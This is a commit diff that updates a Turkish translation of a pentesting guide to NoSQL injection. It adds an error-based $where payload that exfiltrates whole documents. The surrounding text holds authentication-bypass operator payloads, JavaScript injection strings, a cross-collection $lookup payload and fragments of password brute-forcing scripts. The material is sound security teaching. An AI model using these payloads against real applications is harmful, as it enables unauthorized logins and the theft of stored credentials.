Translated ['src/pentesting-web/nosql-injection.md'] to tr

This commit is contained in:
Translator 2025-07-08 19:35:55 +00:00
parent 1169340038
commit b7538fc9b5

View File

@ -6,7 +6,7 @@
PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz. PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürüler, bir **Operator** eklemeye dayanmaktadır: Sömürü, bir **Operator** eklemeye dayanmaktadır:
```bash ```bash
username[$ne]=1$password[$ne]=1 #<Not Equals> username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
``` ```
### Temel kimlik doğrulama atlatma ### Temel kimlik doğrulama atlatma
**Eşit değil ($ne) veya büyük ($gt) kullanma** **Eşit değil ($ne) veya daha büyük ($gt) kullanma**
```bash ```bash
#in URL #in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -40,7 +40,7 @@ Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
``` ```
### **Uzunluk** bilgilerini çıkarma ### **length** bilgilerini çıkarma
```bash ```bash
username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3} username[$ne]=toto&password[$regex]=.{3}
@ -76,9 +76,9 @@ in JSON
... ...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
``` ```
### PHP Keyfi Fonksiyon İcraatı ### PHP Rastgele Fonksiyon Çalıştırma
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir. Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir.
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -86,9 +86,9 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
### Farklı koleksiyondan bilgi alma ### Farklı koleksiyondan bilgi alma
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen bir şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz. Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur. **NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur.
```json ```json
[ [
{ {
@ -108,7 +108,13 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
} }
] ]
``` ```
## MongoDB Yüklemeleri ### Hata Tabanlı Enjeksiyon
`throw new Error(JSON.stringify(this))` ifadesini bir `$where` koşuluna enjekte ederek, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarın (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## MongoDB Yükleri
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
``` ```
@ -176,7 +182,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c)) print("Found one more char : %s" % (password+c))
password += c password += c
``` ```
### Brute-force giriş kullanıcı adları ve şifreleri POST girişinden ### POST girişinden brute-force kullanıcı adları ve şifreleri
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir. Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
```python ```python
@ -229,5 +235,6 @@ get_password(u)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}